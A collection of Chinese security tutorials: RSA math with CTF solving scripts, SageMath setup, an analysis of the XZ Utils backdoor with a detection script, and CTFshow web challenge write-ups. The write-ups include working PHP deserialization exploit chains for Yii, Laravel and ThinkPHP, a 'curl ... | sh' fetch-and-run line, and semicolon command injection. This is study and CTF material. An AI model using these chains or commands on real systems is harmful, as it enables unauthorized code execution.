  22. 理论介绍 基本原理 欧拉函数 欧拉函数φ(n):是小于n的自然数中与n互质的数的个数 φ(n)的计算方法并不复杂,但是为了得到最后那个公式,需要一步步讨论: 第一种:n=1 φ(1) = 1 第二种:n是质数 φ(n)=n-1 质数与小于它的每一个数都构成互质关系 第三种:n=p^k(p为质数,k为正整数φ(n)=φ(p^k)=p^k-p^(k-1)=p^k*(1-1/p) 只有当一个数不包含质数p,才可能与n互质,而包含质数p的数一共有p^(k-1)个,即1*k、2*k、...p^(k-1)*k 第四种:n可以分解成两个互质的整数之积φ(n)=φ(p1*p2)=φ(p1)*φ(p2)(中国剩余定理) 最终推理: n=p1^k1*p2^k2*p3^k3...pr^kr(任意一个大于1的正整数,都可以写成质数的积) 由4得:φ(n)=φ(p1^k1)*φ(p1^k2)...φ(pr^kr) 由3得:φ(n)=p1^k1*p2^k2...pr^kr*(1-1/p1)*(1-1/p2)..*(1-1/pr) 所以:φ(n)=n*(1-1/p1)*(1-1/p2)*...(1-1/pr) φ(n)=n*(1-1/p1)*(1-1/p2)*...(1-1/pr) 欧拉定理 a^φ(n)≡1 (mod n) a和n互质 费马小定理(欧拉定理的特例) a^(p-1)≡1(mod p) p是质数,a,p互质 模反元素(逆元) a*b≡1(mod n) a,n互质 a mod n的逆元是使 a * b mod n = 1 的最小的b 模运算 四则运算: (a + b) % p = (a % p + b % p) % p (a - b) % p = (a % p - b % p) % p (a * b) % p = (a % p * b % p) % p a ^ b % p = ((a % p) ^ b) % p 结合律: ((a + b) % p + c) = (a + (b + c) % p) % p ((a * b) % p * c) = (a * (b * c) % p) % p 交换律: (a + b) % p = (b + a) % p (a * b) % p = (b * a) % p 分配律: (a + b) % p = (a % p + b % p) % p ((a + b) % p * c) % p = ((a * c) % p + (b * c) % p 重要定理: 若 a ≡ b (mod p),则对于任意的 c,都有(a + c) ≡ (b + c) (mod p) 若 a ≡ b (mod p),则对于任意的 c,都有(a * c) ≡ (b * c) (mod p) 若 a ≡ b (mod p),c ≡ d (mod p),则: (a + c) ≡ (b + d) (mod p) (a - c) ≡ (b - d) (mod p) (a * c) ≡ (b * d) (mod p) (a / c) ≡ (b / d) (mod p) 解释原理 1:c=m^e%N 加密 2:m=c^d%N 解密 将1带入2: m = (m ^ e % N ) ^ d % N 需要证明: m == ( m ^ e % N ) ^ d % N (m^e%N)^d%N => (m^e)^d%N => m^(e*d)%N 因为e * d ≡ 1 (mod φ(N))所以e*d=K*φ(N)+1 => (m^(K*φ(N)+1))%N => (m^(K*φ(N)*m)%N => ((m^φ(N)^K%N*m)%N => ((m^φ(N)^K%N*m%N)%N => ((m^φ(N)%N)^K%N*m%N)%N => (1^K%N*m%N)%N 欧拉定理:a^φ(n)≡1 mod n => (m%N)%N => m%N m<N => m 基本过程 第一步,随机选择两个不相等的质数p和q。 第二步,计算p和q的乘积n。 第三步,计算n的欧拉函数φ(n)。 第四步,随机选择一个整数e,条件是1< e < φ(n),且e与φ(n) 互质。 第五步,计算e对于φ(n)的模反元素d。 第六步,将n和e封装成公钥,n和d封装成私钥。 RSA算法的可靠性 回顾上面的密钥生成步骤,一共出现六个数字:p,q,n,φ(n),e,d 这六个数字之中,公钥用到了两个(n和e),其余四个数字都是不公开的。其中最关键的是d,因为n和d组成了私钥,一旦d泄漏,就等于私钥泄漏。 那么,有无可能在已知n和e的情况下,推导出d?   (1)ed≡1 (mod φ(n))。只有知道e和φ(n),才能算出d。   (2)φ(n)=(p-1)(q-1)。只有知道p和q,才能算出φ(n)。   (3)n=pq。只有将n因数分解,才能算出p和q。 结论:如果n可以被因数分解,d就可以算出,也就意味着私钥被破解。 可是,大整数的因数分解,是一件非常困难的事情。目前,除了暴力破解,还没有发现别的有效方法。维基百科这样写道: “对极大整数做因数分解的难度决定了RSA算法的可靠性。换言之,对一极大整数做因数分解愈困难,RSA算法愈可靠。 假如有人找到一种快速因数分解的算法,那么RSA的可靠性就会极度下降。但找到这样的算法的可能性是非常小的。今天只有短的RSA密钥才可能被暴力破解。到2008年为止,世界上还没有任何可靠的攻击RSA算法的方式。 只要密钥长度足够长,用RSA加密的信息实际上是不能被解破的。” 基础实战 基础出题脚本 import libnum #生成随机素数 p=libnum.generate_prime(1024) q=libnum.generate_prime(1024) e=65537 m="flag{20d6e2da95dcc1fa5f5432a436c4be18}" #字符串转数字 m=libnum.s2n(m) n=p*q phi_n=(p-1)*(q-1) #求逆元 d=libnum.invmod(e,phi_n) c=pow(m,e,n) print("p=",p) print("q=",q) print ("n=",n) print("d=",d) print ("e=",e) print ("c=",c) 基础解题脚本 已知n,d,e,c求m import libnum n= 14685532699024100754723222996385121368294636639693750794149020559314539676501066491415844320990799035552463714403031072164829458702780715523923962246149328887690893262271480633736651143634392056066729487305166335857950659680699210683976952113003674104898343893168719508462975991580551696824510044412974267585312807460664570245139015568859112921920860421973308538800641652781742897528769692264955229878206911313791989518088100099218315995549914435278654377368771668058107642713121127495780090852489015591581414806590111818355121157794129813430710822697558144598815860067978324469091074823400715400666808772858128261149 d= 10655677501818714057545408290692306276248758047017058020876274084213258239416744966450976471246402284779991562186357882946337721435118045765127426899173581894141706933500094886492805160951008521020815528782559085235105783294876017603112074153984218299742602608478449101819428678878037976091306073545785820932796422483686522431260926680891531210950251782422010888047909274618007401655588566411972291526501884077240225819170340160706732901152519829956055255218835518533347875405883278225018714890042991619568316304958478955576005445279807142753050999269866987221510643119355301877102904394259290548609330522059178100989 e= 65537 c= 7937297427288435728721973474925856865675225171317301007619581716746999628275946964127516634203401830643076435690247635478297903236185011960902817030042080567027165802992734580344202744697251074454156026031417427325660809453340428989949816426637434868049018580855865080715251672252410696685286047485204432648545886024276695749435709592994477514818763551176789963387889424072650811645828675090859926233585219662579177051353763021116106877502871331756544361402971459889233069752657661921397258845893293005099736406362733668960163109452223071514272504206470939914043855546880424121530822318600645513435826636440478681928 m=pow(c, d, n) print(libnum.n2s(m).decode()) 已知p,q,e,c求m import libnum p= 178974110759313878895493455207516672882434662571655460770401953730906926302476821805659378622536968418528094957044346203494793341636459433763427491907849563922785749794854266865548657682445692416895365631610849027415100889893466490767087266542637440212533807985124840688092762928583845838066174446047886496977 q= 93610871651220602641323046206103959524660743045950590135111801621145944725719667412027010040112514078098465817329474817485502356054795293086881519931215167856745860801666777619204160653243683622930567962804914581845602027547589056026105213437044768786486688576038889017989891165091320977401144724582916902269 e= 65537 c= 10505609204533893330224001468185225454647695615253006709365840521320011117703729471412769493857753605106376689659952882885215696765275778768339621441610719177208351696489476567331875339672513868473669863672226315682278831184868041476134806131989809014422520472566202048041013413698358733781909446846787304422628166599338803127610040714545537436536348608012176828441837378861024372912755344397449657260043057239911064546424582314518819235470388313710641962070846850292694572345451390561142917224092435026246696084949470913298543523893386679712766629009873176804118782436042080621119334193337953451160118095182279971122 n=p*q phi_n=(p-1)*(q-1) #求逆元 d=libnum.invmod(e,phi_n) m=pow(c,d,n) print(m) #数字转字节,转字符串 print(libnum.n2s(int(m)).decode()) 暴力分解n的RSA 1.在线查询分解网站 2.使用yafu工具分解 #以分解49为例 yafu-x64.exe factor(49) #导入文件进行分解,主要注意文本结尾要换行!!!不然要报错 yafu-x64.exe "factor(@)" -batchfile 1.txt 3.使用费马小定理 适用于p和q接近的情况 原理 #分解函数 def isqrt(n): x = n y = (x + n // x) // 2 while y < x: x = y y = (x + n // x) // 2 return x def fermat(n, verbose=True): a = isqrt(n) # int(ceil(n**0.5)) b2 = a*a - n b = isqrt(n) # int(b2**0.5) count = 0 while b*b != b2: # if verbose: # print('Trying: a=%s b2=%s b=%s' % (a, b2, b)) a = a + 1 b2 = a*a - n b = isqrt(b2) # int(b2**0.5) count += 1 p=a+b q=a-b assert n == p * q # print('a=',a) # print('b=',b) # print('p=',p) # print('q=',q) # print('pq=',p*q) return p, q fermat(n) 分解出来后用脚本解密 import gmpy2 import libnum p= q= e= c= n=p*q phi_n=(p-1)*(q-1) #求逆元 #d=libnum.invmod(e,phi_n) d=gmpy2.invert(e,phi_n) m=pow(c,d,n) print(m) print(libnum.n2s(int(m)).decode()) 出题脚本 import libnum import gmpy2 p=libnum.generate_prime(1024) #下一个素数 q=gmpy2.next_prime(p) print(gmpy2.is_prime(q)) e=65537 m="flag{20d6e2da95dcc1fa5f5432a436c4be18}" m=libnum.s2n(m) n=p*q phi_n=(p-1)*(q-1) d=libnum.invmod(e,phi_n) c=pow(m,e,n) print ("p=",p) print ("q=",q) print ("n=",n) print ("e=",e) print ("c=",c) 解题脚本 import gmpy2 import libnum def isqrt(n): x = n y = (x + n // x) // 2 while y < x: x = y y = (x + n // x) // 2 return x def fermat(n, verbose=True): a = isqrt(n) # int(ceil(n**0.5)) b2 = a*a - n b = isqrt(n) # int(b2**0.5) count = 0 while b*b != b2: # if verbose: # print('Trying: a=%s b2=%s b=%s' % (a, b2, b)) a = a + 1 b2 = a*a - n b = isqrt(b2) # int(b2**0.5) count += 1 p=a+b q=a-b assert n == p * q # print('a=',a) # print('b=',b) print('p=',p) print('q=',q) # print('pq=',p*q) return p, q n= 11236396438945464079176717143196471087880430124798640194523124584883161483744355761881720924798661332027501424643154414538029585287580122761405974427818841257794157497994556608202723391478027760181705924317533420305444809223444128034654367210331137068958693840582892819495487826045956577156074156668942232139402108462349340352898572481115406698318121299787982873916502591396884489682255184448165523604671743400422220149772905676655777228607948091675612455989601008858361759327370403306760674195506394280387024357322586732298060169962426894360775981877169895632927906390632063530920611197753716095903307467004289983267 e= 65537 c= 4260482466101011731957430920901406417434306478040387371588613512063428441001754753741853444857207349755032658064826592770143368278573527632514794087007140974732031358793249329430363014561312271335226315065519570861993052432656879088776144909638480994662696119431870831156129142403063675855781198930583825083362703887688501680905266707624440432914989795886392952354713859444836529227033324455920455610359249535012999943891644938239837207994673190694512955995798836266797112432609992164908679997257920566918693544746179908166741635316261624634351348613130319346356388546672516037747806222134853885202448682842353199133 pq=fermat(n) #通过脚本或工具分解出q,p p=pq[0] q=pq[1] phi_n=(p-1)*(q-1) #求逆元 #d=libnum.invmod(e,phi_n) d=gmpy2.invert(e,phi_n) m=pow(c,d,n) print(m) print(libnum.n2s(int(m)).decode()) RSA密钥生成与读取 安装pycryptodome模块 公钥生成 from Crypto.PublicKey import RSA p= 787228223375328491232514653709 q= 814212346998672554509751911073 n= 640970939378021470187479083920100737340912672709639557619757 d= 590103645243332826117029128695341159496883001869370080307201 e= 65537 rsa_components = (n, e) keypair = RSA.construct(rsa_components) with open('pubckey.pem', 'wb') as f : f.write(keypair.exportKey()) 私钥生成 from Crypto.PublicKey import RSA p= 787228223375328491232514653709 q= 814212346998672554509751911073 n= 640970939378021470187479083920100737340912672709639557619757 d= 590103645243332826117029128695341159496883001869370080307201 e= 65537 rsa_components = (n,e,d,p,q) keypair = RSA.construct(rsa_components) with open('private1.pem', 'wb') as f : f.write(keypair.exportKey()) 公钥读取 from Crypto.PublicKey import RSA with open("pubckey.pem","rb") as f: key = RSA.import_key(f.read()) print('n = %d' % key.n) print('e = %d' % key.e) 私钥读取 from Crypto.PublicKey import RSA with open("private1.pem","rb") as f: key = RSA.import_key(f.read()) print('n = %d' % key.n) print('e = %d' % key.e) print('d = %d' % key.d) print('p = %d' % key.p) print('q = %d' % key.q) 出题脚本-基于N分解的题目 import libnum import gmpy2 from Crypto.PublicKey import RSA p=libnum.generate_prime(1024) #下一个素数 q=int(gmpy2.next_prime(p)) e=65537 m="flag{a272722c1db834353ea3ce1d9c71feca}" m=libnum.s2n(m) n=p*q c=pow(m,e,n) flag_c=libnum.n2s(c) rsa_components = (n, e) keypair = RSA.construct(rsa_components) with open('pubckey1.pem', 'wb') as f : f.write(keypair.exportKey()) with open("flag.txt","wb") as f: f.write(flag_c) 解题脚本 import libnum import gmpy2 from Crypto.PublicKey import RSA def isqrt(n): x = n y = (x + n // x) // 2 while y < x: x = y y = (x + n // x) // 2 return x def fermat(n, verbose=True): a = isqrt(n) # int(ceil(n**0.5)) b2 = a*a - n b = isqrt(n) # int(b2**0.5) count = 0 while b*b != b2: # if verbose: # print('Trying: a=%s b2=%s b=%s' % (a, b2, b)) a = a + 1 b2 = a*a - n b = isqrt(b2) # int(b2**0.5) count += 1 p=a+b q=a-b assert n == p * q # print('a=',a) # print('b=',b) # print('p=',p) # print('q=',q) # print('pq=',p*q) return p, q with open("pubckey1.pem","rb") as f: key = RSA.import_key(f.read()) n=key.n e=key.e with open("flag.txt","rb") as f: c=f.read() c=libnum.s2n(c) #费马分解 n1=fermat(n) p=n1[0] q=n1[1] phi_n=(p-1)*(q-1) #求逆元 d=libnum.invmod(e,phi_n) m=pow(c,d,n) print(m) print(libnum.n2s(int(m)).decode()) 自动生成密钥并加密 from Crypto.Cipher import PKCS1_v1_5 from Crypto import Random from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP random_generator = Random.new().read rsa = RSA.generate(2048, random_generator) # 生成私钥 private_key = rsa.exportKey() # print(private_key.decode('utf-8')) with open('rsa_private_key.pem', 'wb')as f: f.write(private_key) # 生成公钥 public_key = rsa.publickey().exportKey() # print(public_key.decode('utf-8')) with open('rsa_public_key.pem', 'wb')as f: f.write(public_key) #测试用密钥加密 public_key = RSA.importKey(public_key) msg='flag' pk = PKCS1_v1_5.new(public_key) encrypt_text = pk.encrypt(msg.encode()) print(encrypt_text) #测试密钥解密 private_key = RSA.importKey(private_key) pk = PKCS1_v1_5.new(private_key) msg = pk.decrypt(encrypt_text,0) print(msg) #两种标准 rsa_components = (n, e, int(d), p, q) arsa = RSA.construct(rsa_components) rsakey = RSA.importKey(arsa.exportKey()) rsakey = PKCS1_OAEP.new(rsakey) decrypted = rsakey.decrypt(c) print(decrypted)
  23. 你可能看着他想python脚本,但其实他是sage脚本 什么是sage? 维基百科: 我们经常会遇到一些脚本并不能再python运行,其实那是sage脚本 我们可以去现在一个sagemath,在上面运行就好了 在线运行 windows下载 下载.exe就行,安装时间有点长 第一个让选择的目录是用于存放sage文件的(建议新建一个空目录) 第二个是软件的安装目录 sagemath会在桌面上生成三个快捷方式note是他的网页版,点开后自动在浏览器上加载出来 shell是命令行 console是一个很好的交互式shell 在sage网页上面可以新建一个sagemath文件,在里面就可以运行了 sage导入python库 但对于一些crypto脚本经常还要导入一些python库 倒腾很久都弄不好,一直运行不了真让人烦 我们讲一下如何在windows上导入python库 手动添加python库 安装目录\SageMath 9.3\runtime\opt\sagemath-9.3\local\lib\python3.7\site-packages 直接把包粘贴在里面(这里就是他的第三方库的文件夹) 在shell 中输入想要的包 pip install pycryptodeme 用文件运行 !pip install pycryptodeme 现在你就可以运行你的代码了 如果你明明已经配置好了第三方库但是他们还是提醒没有找到库 注意!如果是crypto安装完之后不能用的话就要把的三方库里面的ctypto改为Crypto 我也是刚接触有问题希望及时指出 推荐文章 如果还有什么不懂的可以看一下他的博客 sagemath 入门笔记 如果想要更深的研究sage就看这一篇 SageMath简明教程/
  24. 漏洞概述 2024年3月29日,开发人员Andres Freund在安全邮件列表上报告称,他在调查SSH性能问题时发现了涉及XZ包中的供应链攻击,分析后发现是SSH使用的上游liblzma库被植入了后门代码,可能允许攻击者通过后门非授权访问系统。 XZ Utils 是一款用于压缩和解压缩 .xz 和 .lzma 文件的工具集。XZ Utils 由 Lasse Collin 开发,是一个开源项目,广泛应用于各种操作系统中,受影响开源操作系统可在https://repology.org/project/xz/versions中查询.xz 文件格式是一种基于 LZMA2 压缩算法的文件格式,它提供了比传统 gzip 更高的压缩比,同时保持了相对较高的解压缩速度。XZ Utils v5.6.0和v5.6.1中tar包的编译文件被植入恶意命令。在某些特定编译环境下,恶意命令执行后将替换正常编译过程中的中间文件为后门文件,最后和其他组件一起编译到XZ Utils的Liblzma库文件中。当后门代码被执行时,将挂钩(HOOK)SSHD进程中的SSH登录认证函数。当接收到指定的SSH数据包时,将未授权执行指定的系统命令。 漏洞细节分析 1、植入流程 目前XZ Utils的Github仓库(https://github.com/tukaani-project/xz)已无法访问。笔者分析时使用的版本是从其他镜像网站下载的xz-5.6.1.tar.gz。初始恶意代码主要在文件build-to-host.m4中。 这条命令拼接后为:sed "r\n" ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d 2> /dev/null,主要从./tests/files/bad-3-corrupt_lzma2.xz中提取代码并解压,最后再执行。 提取出的代码如下: 这部分代码执行后,判断是否为Linux系统,如果不是,则退出。 后面的代码继续从./tests/files/good-large_compressed.lzma文件中提取后续代码,再解压后执行。 提取的代码如下: 提取出的代码较多,主要功能是检测到环境不适合时就退出,不执行植入后门的逻辑;如果环境合适,则继续提取./tests/files/下的文件,然后替换编译的中间过程文件liblzma_la-crc64-fast.o和liblzma_la-crc32_fast.o,最后编译到XZ Utils的库文件Liblzma中。 根据以上提取的代码可知,在如下环境编译将不会植入后门: 1、不是Linux系统(uname不为Linux) 2、没有IFUNC. IFUNC是GLIBC中用于覆盖符号的一个功能 3、不编译动态库(shared object) 4、不是x86_64, 或者target triple结尾不是linux-gnu 5、编译器不是GCC, 或者链接器不是GNU ld 6、从测试文件中解压预编译的二进制文件 7、修改源码和构建脚本 此外,指令集扩展检测函数被替换掉,比原函数多一个参数,作用未知。 2、后门功能 被植入后门的Liblzma库文件被进程加载运行后,将进行一系列环境检查,检查通过再执行后门功能,包括: 1、未设置 TERM 环境变量 2、Argv[0] 需要是 /usr/sbin/sshd 3、LD_DEBUG、LD_PROFILE 未设置 4、需要设置LANG 5、未检测到调试器 通过以上检查后,执行后门核心功能,主要功能是挂钩(HOOK)SSH登录认证过程中的函数RSA_public_decrypt,未授权执行指定的系统命令。即使用指定SSH证书进行登录时,从公钥中提取攻击负载,然后进一步校验,最后使用ChaCha20算法解密,将解密后数据作为命令执行。 部分已分析的函数功能如下: 漏洞检测 1、查看本地系统是否安装了受影响版本的XZ,安全版本为xz<5.6.0,xz --version 2、使用Openwall上发布的脚本检查系统是否被感染后门,后门发现者提供的检测脚本,判断SSHD程序依赖的Liblzma库文件二进制数据中是否包含后门特征码,该特征码为: #! /bin/bash set -eu # find path to liblzma used by sshdpath="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')" # does it even exist?if [ "$path" == "" ]then echo probably not vulnerable exitfi # check for function signatureif hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410then echo probably vulnerableelse echo probably not vulnerablefi f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410,对应植入过程中的liblzma_la-crc64-fast.o文件,对应函数为get_cpuid。 解决方案 官方暂未更新版本或补丁,建议相关用户卸载含后门的版本,回退到未包含后门的稳定版本v5.4.6,并及时关注官方新版本更新。 参考链接 https://www.openwall.com/lists/oss-security/2024/03/29/4 https://access.redhat.com/security/cve/CVE-2024-3094 https://www.openwall.com/lists/oss-security/2024/03/29/4 https://gist.github.com/smx-smx/a6112d54777845d389bd7126d6e9f504 https://avd.aliyun.com/detail?id=AVD-2024-3094 https://github.com/Midar/xz-backdoor-documentation/wikihttps://gist.github.com/keeganryan/a6c22e1045e67c17e88a606dfdf95ae4 https://git.tukaani.org/?p=xz.git;a=summary 文章来源:烽火台实验室
  25. 前言 最近开python的re模块 那个学烦了就继续打靶 Web264 拿到index.php直接去访问message.php 构造exp index.php 接着访问message.php 如262类似 但我尝试了262的方法没法一步到位了 只能从Index.php->message.php了 运用到字符串逃逸的知识 web264->字符串逃逸 我们构造一个exp本地测试一下 <?php class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $msg = new message("1","2",'fuck'); $umsg = str_replace('fuck', 'loveU', serialize($msg)); // O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";} echo serialize($msg); echo "\n"; // O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";} echo $umsg; ?> 先替换一波将fuck->loveU发现长度未变 但内容发生改变 这样替换后只会截取love而不会截取U逃匿出来就有U 接着我们替换闭合”和} 发现位数等于31 所以我们要把他的位数对齐才能正常反序列化过来 替换fuck一直到位数到齐 此时}”后面的会被舍弃 我们的user就能变成admin 访问message.php根据题目要求 我们再次进行url+base64编码 手动设置cookie 最终exp <?php class message{ public $from; public $msg; public $to; public $token; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $msg = new message("1","2",'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}'); $umsg = str_replace('fuck', 'loveU', serialize($msg)); $p=serialize($msg); // O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";} //echo serialize($msg); print_r($p); print_r(unserialize($p))."\n"; // O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";} echo urlencode(base64_encode($umsg)); //?> web265 分析一波 mt_rand是不是很熟悉 在爆破那里我们遇见了 生成随机种子 我们只能控制一个参数 这样就导致二者不相等 所以我们需要php中的引用即c语言里面的指针 使用&将password指向token exp: <?php class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = &$this->token; } public function login(){ return $this->token===$this->password; } } $p=new ctfshowAdmin('1','1'); print_r(serialize($p)); ?> Web266 绕过错误正确执行销毁就可 没有加i 直接改个大小写即可 exp: <?php class ctfshow { public $username = 'xxxxxx'; public $password = 'xxxxxx'; } $p=new ctfshow(); print_r(serialize($p)); ?> Web267 登录界面 尝试弱密码登录 admin->admin 登录之后查看about yii框架 因为是 2020年的CVE 而且大都已更新 历史遗留资产也很少没有复现 就套了别人的POC https://blog.csdn.net/weixin_44576725/article/details/123986819 根据 源代码中的提示 发现页面提示在/backdoor/shell里 反序列化get后的code 因为是公开漏洞 这里就用别人的反序列化的pop链子 让咱写咱也不会呀( pop链: system等无回显用passthru代替(之前我们也见过 $this->checkAccess = ‘passthru’; 具体执行的命令函数 $this->id = ‘cat /flag’; 具体内容 <?php namespace yii\db { use yii\web\DbSession; class BatchQueryResult { private $_dataReader; public function __construct() { $this->_dataReader = new DbSession(); } } } namespace yii\web { use yii\rest\IndexAction; class DbSession { public function __construct() { $a = new IndexAction(); $this->writeCallback = [$a, 'run'];; } } } namespace yii\rest { class IndexAction { public function __construct() { $this->checkAccess = 'passthru'; $this->id = 'cat /flag'; } } } namespace { use yii\db\BatchQueryResult; echo base64_encode(serialize(new BatchQueryResult())); } ?> payload: http://3974edc7-81bd-4cfa-975d-47a6608d7d2c.challenge.ctf.show/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo5OiJjYXQgL2ZsYWciO31pOjE7czozOiJydW4iO319fQ== Web268 查清目录后cp到3.txt 最终pop链 <?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ // $this->checkAccess = 'phpinfo'; // $this->id = '1'; $this->checkAccess = 'shell_exec'; // $this->id = 'ls / | tee 1.txt'; #先查出flag位置再获取 $this->id = 'cp /flags 3.txt'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // 这里需要改为isRunning $this->formatters['isRunning'] = [new CreateAction(), 'run']; } } } // poc2 namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct() { $this->processes = [new Generator()]; } } } namespace{ // 生成poc echo base64_encode(serialize(new Codeception\Extension\RunProcess())); } ?> Web269-Web270 与267到这的大体一样均为yii漏洞框架 flag的名字不一样 这里省略了 Web271-Web273 这里的黄色内容应该是提示 Laravelv5.7漏洞 2019年左右的PHP框架漏洞 网上公开了 POC 我们复现一下反序列化链子 <?php namespace Illuminate\Foundation\Testing { class PendingCommand { public $test; protected $app; protected $command; protected $parameters; public function __construct($test, $app, $command, $parameters) { $this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser $this->app = $app; //一个实例化的类 Illuminate\Foundation\Application $this->command = $command; //要执行的php函数 system $this->parameters = $parameters; //要执行的php函数的参数 array('id') } } } namespace Faker { class DefaultGenerator { protected $default; public function __construct($default = null) { $this->default = $default; } } } namespace Illuminate\Foundation { class Application { protected $instances = []; public function __construct($instances = []) { $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances; } } } namespace { $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world")); $app = new Illuminate\Foundation\Application(); $application = new Illuminate\Foundation\Application($app); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('curl https://your-shell.com/your-ip:6666 | sh')); echo urlencode(serialize($pendingcommand)); } Web274 好熟悉,也好老 源代码中反序列化GET接受data 复现一下 thinkphp5.1 Poc链子 <?php namespace think; abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["lin"=>["calc.exe","calc"]]; $this->data = ["lin"=>new Request()]; } } class Request { protected $hook = []; protected $filter = "system"; //PHP函数 protected $config = [ // 表单ajax伪装变量 'var_ajax' => '_ajax', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'lin']; //PHP函数的参数 $this->hook = ["visible"=>[$this,"isAjax"]]; } } namespace think\process\pipes; use think\model\concern\Conversion; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } namespace think\model; use think\Model; class Pivot extends Model { } use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); ?> &lin后跟执行的命令 发现在根目录 直接拿flag 好 Web275 突破点在system 如果evilfile为true就执行system删除filename但是可以执行后面的内容用;分隔即可 post都不用传 直接拿flag